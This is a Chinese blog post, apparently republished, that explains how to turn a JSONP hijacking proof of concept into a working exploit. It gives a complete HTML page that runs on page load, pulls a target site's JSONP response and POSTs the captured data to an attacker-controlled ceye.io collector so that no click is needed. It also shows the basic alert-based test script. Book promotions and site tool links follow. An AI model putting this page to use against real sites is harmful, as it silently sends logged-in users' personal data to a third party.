用ceye来利用jsonp劫持

栏目: Json · 发布时间: 5年前

内容简介:之前测jsonp劫持的时候一般是弹个alert,就做poc了,突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。在网上看到一般的证明脚本是

之前测jsonp劫持的时候一般是弹个alert,就做poc了,

突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。

正文

在网上看到一般的证明脚本是

<script>
function lego(json){
alert(JSON.stringify(json))
  }
</script>

<script src="http://vulweb.com/info?callback=lego"></script>

于是我便想尝试一下去构造一个可以来直接利用的exp

在安全客上看到了关于jsonp劫持的exp https://www.anquanke.com/post/id/152339

因为这个脚本利用的是get方法

如果劫持到的数据过多,用get请求的时候会返回414(URI太长 )

于是我就想用post的方法去请求

这种exp不能自动发起请求,需要点击按键。

用ceye来利用jsonp劫持

与CSRF利用一样,如果用burpsuite生成的csrf-poc是用个submit按钮的,

在实际利用中还是差一点的,

所以我还是想让它变得更加实用一点。

首先是使用onload事件,

<body onload="load()">

即页面加载完成后执行一个方法,

这个方法利用有post请求,就可以完成我所想实现的了。

exp

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>

<body onload="load()">
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>

<script>

function load()
{
$.ajax({

url: "http://xxx.com/info?callback=lego",

type: "GET",       //指定GET请求方法

dataType: "jsonp", //指定服务器返回的数据类型

jsonp: "callback", //指定参数名称

jsonpCallback: "lego",

success: function (data) {
$.ajax({
  type: 'POST',
  url: 'http://yourceye.ceye.io/',
  data: JSON.stringify(data)
});

}

})
}
</script>
</body>
</html>

当然,需要在ceye.io中注册一个账号。

效果

用ceye来利用jsonp劫持

当然这也不是什么很有技术内容的文章,只是想跟大家分享一下一些小trick,多多包涵。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

硅谷百年史

硅谷百年史

[美]阿伦·拉奥(Arun Rao)、[美]皮埃罗·斯加鲁菲(Piero Scarruffi) / 闫景立、侯爱华 / 人民邮电出版社 / 2014-4-1 / 99.00

一百多年来,仅硅谷就培育了50多位诺贝尔奖获得者,以及无数依靠智慧和知识而成为百万富翁的人。这一人类历史上最伟大的科技创新与创业历程为什么会发生在硅谷?究竟是如何发生的?其他地方是否可以复制出“硅谷”? 《硅谷百年史——伟大的科技创新与创业历程(1900-2013)》以编年体的顺序,从无线电技术、晶体管、集成电路,到人类基因组、互联网和云计算,详尽地记述了硅谷在100多年中所发生的重大科技事......一起来看看 《硅谷百年史》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具